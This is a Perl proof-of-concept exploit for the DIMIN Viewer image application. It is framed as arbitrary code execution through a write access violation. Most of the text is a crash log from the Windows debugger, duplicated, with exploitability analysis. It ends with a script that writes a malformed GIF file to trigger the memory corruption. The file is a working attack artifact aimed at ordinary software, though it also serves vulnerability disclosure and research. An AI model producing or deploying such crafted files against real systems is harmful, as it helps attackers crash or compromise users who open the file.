#!/usr/bin/perl # DIMIN Viewer 5.4.0 <= WriteAV Arbitrary Code Execution # Author: Jean Pascal Pereira # Vendor URI: http://www.dimin.net # Vendor Decription: # View images in countless formats, and apply a variety of effects with this small, fast, and powerful # application. Dimin Viewer incorporates unique visualization ideas, like Panoramic Photographs Tool # and Big Image Navigator. It also features multi language interface to feel yourself at home! # Debug info: # Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 # Copyright (c) Microsoft Corporation. All rights reserved. # # CommandLine: "C:\Program Files\DIMIN\Viewer5\imgview5.exe" C:\research\Viewer5\crafted.gif # Symbol search path is: *** Invalid *** # **************************************************************************** # * Symbol loading may be unreliable without a symbol search path. * # * Use .symfix to have the debugger choose a symbol path. * # * After setting your symbol path, use .reload to refresh symbol locations. * # **************************************************************************** # Executable search path is: # ModLoad: 00400000 006bb000 image00400000 # ModLoad: 7c900000 7c9b2000 ntdll.dll # ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll # ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\advapi32.dll # ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll # ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll # ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll # ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll # ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll # ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll # ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll # ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll # ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll # ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll # ModLoad: 77120000 771ab000 C:\WINDOWS\system32\oleaut32.dll # ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\version.dll # ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\winmm.dll # ModLoad: 73000000 73026000 C:\WINDOWS\system32\winspool.drv # (fdc.b98): Break instruction exception - code 80000003 (first chance) # ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL # ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll # ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll # ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime # ModLoad: 00e50000 00ef7000 C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_dcraw.dll # ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll # ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll # ModLoad: 00f20000 0102f000 C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll # ModLoad: 01050000 0106a000 C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_morphology.dll # ModLoad: 01090000 010ba000 C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_xtdFilters.dll # (fdc.b98): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0 # eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 # *** WARNING: Unable to verify checksum for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll - # div5_xtd_formats!divGetFilter+0x80c8b: # 00fb1a7b 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:0023:01471000=???????????????????????????????? # 0:000> r;!exploitable -v;q # eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0 # eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 # div5_xtd_formats!divGetFilter+0x80c8b: # 00fb1a7b 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:0023:01471000=???????????????????????????????? # HostMachine\HostUser # Executing Processor Architecture is x86 # Debuggee is in User Mode # Debuggee is a live user mode debugging session on the local machine # Event Type: Exception # *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - # Exception Faulting Address: 0x1471000 # First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) # Exception Sub-Type: Write Access Violation # # Exception Hash (Major/Minor): 0x550b2f71.0x55423571 # # Stack Trace: # div5_xtd_formats!divGetFilter+0x80c8b # div5_xtd_formats!divGetFilter+0x80d0a # div5_xtd_formats+0xc821 # div5_xtd_formats+0xcc07 # Instruction Address: 0x0000000000fb1a7b # # # Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 # Copyright (c) Microsoft Corporation. All rights reserved. # # CommandLine: "C:\Program Files\DIMIN\Viewer5\imgview5.exe" C:\research\Viewer5\crafted.gif # Symbol search path is: *** Invalid *** # **************************************************************************** # * Symbol loading may be unreliable without a symbol search path. * # * Use .symfix to have the debugger choose a symbol path. * # * After setting your symbol path, use .reload to refresh symbol locations. * # **************************************************************************** # Executable search path is: # ModLoad: 00400000 006bb000 image00400000 # ModLoad: 7c900000 7c9b2000 ntdll.dll # ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll # ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\advapi32.dll # ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll # ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll # ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll # ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll # ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll # ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll # ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll # ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll # ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll # ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll # ModLoad: 77120000 771ab000 C:\WINDOWS\system32\oleaut32.dll # ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\version.dll # ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\winmm.dll # ModLoad: 73000000 73026000 C:\WINDOWS\system32\winspool.drv # (fdc.b98): Break instruction exception - code 80000003 (first chance) # ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL # ModLoad: 5ad70000 5ada8000 C:\WINDOWS\system32\uxtheme.dll # ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll # ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime # ModLoad: 00e50000 00ef7000 C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_dcraw.dll # ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll # ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll # ModLoad: 00f20000 0102f000 C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll # ModLoad: 01050000 0106a000 C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_morphology.dll # ModLoad: 01090000 010ba000 C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_xtdFilters.dll # (fdc.b98): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0 # eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 # *** WARNING: Unable to verify checksum for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll - # div5_xtd_formats!divGetFilter+0x80c8b: # 00fb1a7b 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:0023:01471000=???????????????????????????????? # 0:000> r;!exploitable -v;q # eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0 # eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 # div5_xtd_formats!divGetFilter+0x80c8b: # 00fb1a7b 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:0023:01471000=???????????????????????????????? # HostMachine\HostUser # Executing Processor Architecture is x86 # Debuggee is in User Mode # Debuggee is a live user mode debugging session on the local machine # Event Type: Exception # *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - # Exception Faulting Address: 0x1471000 # First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) # Exception Sub-Type: Write Access Violation # # Exception Hash (Major/Minor): 0x550b2f71.0x55423571 # # Stack Trace: # div5_xtd_formats!divGetFilter+0x80c8b # div5_xtd_formats!divGetFilter+0x80d0a # div5_xtd_formats+0xc821 # div5_xtd_formats+0xcc07 # Instruction Address: 0x0000000000fb1a7b # Proof of Concept: my $crafted = "\x47\x49\x46\x38\x39\x61\x30\x00\x2C\x00\xB3\x00\x00\x00\x00\x00". "\x80\x00\x00\x00\x80\x00\x80\x80\x00\x00\x00\x80\x80\x00\x80\x00". "\x80\x80\x80\x80\x80\xC0\xC0\xC0\xFF\x00\x00\x00\xFF\x00\xFF\xFF". "\x00\x00\x00\xFF\xFF\x00\xFF\x00\xFF\xFF\xFF\xFF\xFF\x21\xF9\x04". "\x01\x00\x00\x0F\x00\x2C\x00\x00\x00\x00\x30\x00\x2C\x00\x00\xFE". "\x04\xF0"; open(C, ">:raw", "crafted.gif"); print C $crafted; close(C); # http://0xffe4.org